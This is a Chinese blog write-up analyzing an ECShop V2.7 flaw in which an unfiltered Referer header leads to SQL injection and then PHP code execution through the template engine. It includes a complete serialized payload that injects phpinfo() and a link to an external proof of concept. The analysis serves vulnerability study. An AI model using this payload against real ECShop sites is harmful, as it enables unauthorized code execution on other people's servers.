Ecshop V2.7代码执行漏洞分析

0x01

此漏洞形成是由于未对Referer的值进行过滤,首先导致SQL注入,其次导致任意代码执行。

0x02

payload:

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

0x03

漏洞分析:首先,问题产生文件为user.php。

可以看到的是。首先从客户端过来的Referer可控,导致$back_act变量可控。往下,assign函数注册变量,display函数输出文件内容。首先先看一下 user_passport.dwt 文件内容

可以看到此处会将$back_act变量传入此模板。跟进display函数:

此时,在display函数中,$filename = 'user+passport.dwt' ,跟进fetch函数:

1/** 2 * 处理模板文件 3 * 4 * @access public 5 * @param string $filename 6 * @param sting $cache_id 7 * 8 * @return sring 9 */ 10 function fetch($filename, $cache_id = '') 11 { 12 if (!$this->_seterror) 13 { 14 error_reporting(E_ALL ^ E_NOTICE); 15 } 16 $this->_seterror++; 17 18 if (strncmp($filename,'str:', 4) == 0) 19 { 20 $out = $this->_eval($this->fetch_str(substr($filename, 4))); 21 } 22 else 23 { 24 if ($this->_checkfile) 25 { 26 if (!file_exists($filename)) 27 { 28 $filename = $this->template_dir . '/' . $filename; 29 } 30 } 31 else 32 { 33 $filename = $this->template_dir . '/' . $filename; 34 } 35 36 if ($this->direct_output) 37 { 38 $this->_current_file = $filename; 39 40 $out = $this->_eval($this->fetch_str(file_get_contents($filename))); 41 } 42 else 43 { 44 if ($cache_id && $this->caching) 45 { 46 $out = $this->template_out; 47 } 48 else 49 { 50 if (!in_array($filename, $this->template)) 51 { 52 $this->template[] = $filename; 53 } 54 55 $out = $this->make_compiled($filename); 56 57 if ($cache_id) 58 { 59 $cachename = basename($filename, strrchr($filename, '.')) . '_' . $cache_id; 60 $data = serialize(array('template' => $this->template, 'expires' => $this->_nowtime + $this->cache_lifetime, 'maketime' => $this->_nowtime)); 61 $out = str_replace("\r", '', $out); 62 63 while (strpos($out, "\n\n") !== false) 64 { 65 $out = str_replace("\n\n", "\n", $out); 66 } 67 68 $hash_dir = $this->cache_dir . '/' . substr(md5($cachename), 0, 1); 69 if (!is_dir($hash_dir)) 70 { 71 mkdir($hash_dir); 72 } 73 if (file_put_contents($hash_dir . '/' . $cachename . '.php', '<?php exit;?>' . $data . $out, LOCK_EX) === false) 74 { 75 trigger_error('can\'t write:' . $hash_dir . '/' . $cachename . '.php'); 76 } 77 $this->template = array(); 78 } 79 } 80 } 81 } 82 83 $this->_seterror--; 84 if (!$this->_seterror) 85 { 86 error_reporting($this->_errorlevel); 87 } 88 89 return $out; // 返回html数据 90 }

 此时,在fetch函数中,$filename = 'user+passport.dwt' ,$this->_checkfile = false,$this->template_dir = ecshop/themes/dafault/,$this->direct_output = false,然后再次跟进make_compiled函数:

1/** 2 * 编译模板函数 3 * 4 * @access public 5 * @param string $filename 6 * 7 * @return sring 编译后文件地址 8 */ 9 function make_compiled($filename) 10 { 11 $name = $this->compile_dir . '/' . basename($filename) . '.php'; 12 if ($this->_expires) 13 { 14 $expires = $this->_expires - $this->cache_lifetime; 15 } 16 else 17 { 18 $filestat = @stat($name); 19 $expires = $filestat['mtime']; 20 } 21 22 $filestat = @stat($filename); 23 if ($filestat['mtime'] <= $expires && !$this->force_compile) 24 { 25 if (file_exists($name)) 26 { 27 $source = $this->_require($name); 28 if ($source == '') 29 { 30 $expires = 0; 31 } 32 } 33 else 34 { 35 $source = ''; 36 $expires = 0; 37 } 38 } 39 40 if ($this->force_compile || $filestat['mtime'] > $expires) 41 { 42 $this->_current_file = $filename; 43 $source = $this->fetch_str(file_get_contents($filename)); 44 45 if (file_put_contents($name, $source, LOCK_EX) === false) 46 { 47 trigger_error('can\'t write:' . $name); 48 } 49 50 $source = $this->_eval($source); 51 } 52 53 return $source; 54 }

 此函数是将模板中的变量解析,并将其内容读出,此时,查看display函数中$out变量会将Referer的值传入至模板变量中。

 

 查看$this->_schash的值:

 

 此值是固定的,所以$val的内容可控,其值为:

ads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}

 跟进insert_mod函数:

 

 由于此函数中$name的值可控。可以看到将$name的值分为2个变量。所以跟进insert_ads函数,其值为数组:

 

 

 可以看到产生sql注入漏洞,由于2个变量可控,可以将  'ORDER BY rnd LIMIT '  注释掉,并进行联合查询。所以 $arr['id']的值可以为:' /*  而$arr['num']的值为:*/payload,如此就将其注释掉。

 然后此sql语句查询的结果$res可控,

  

 再看由于$position_style可控,并且添加前缀str: 则正好满足fetch函数的条件,还需注意此处有一个条件,$row['position_id'] != $arr['id'],所以SQL查询出的$row['position_id']的值必须为 ' /*,16进制为0x27202f2a:

  

 此时跟入fetch_str函数:

  

 可以看到有2条正则表达式,第一条是将$source中的 <? 任意内容?> 替换为空。可以不用管。第二条是获取  {}  中的内容,并调用$this->select({})。此处正则会将$position_style中的{$abc'];echo phpinfo/**/();//}取出

 跟进select函数:

 

 由于次函数中 $tag = $abc'];echo phpinfo/**/();//  在跟进get_val函数:

 

 可以看到要想执行这条语句,则必须闭合 ] 方括号。于是可以构造为 $abc'];phpinfo();// 将payload如此构造,则$p的值为:$this->_var['$abc'];phpinfo();//'] ,然后回到fetch函数去查看_evel函数:

 

 POC :   https://www.cnblogs.com/Spec/p/11017846.html

点赞
收藏

评论区

加载中...

相关推荐

MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1

文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s

Oracle 分组与拼接字符串同时使用

SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(

MySQL部分从库上面因为大量的临时表tmp_table造成慢查询

背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_

皕杰报表之UUID

​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为

手写Java HashMap源码

HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22

2020年前端实用代码段,为你的工作保驾护航

有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )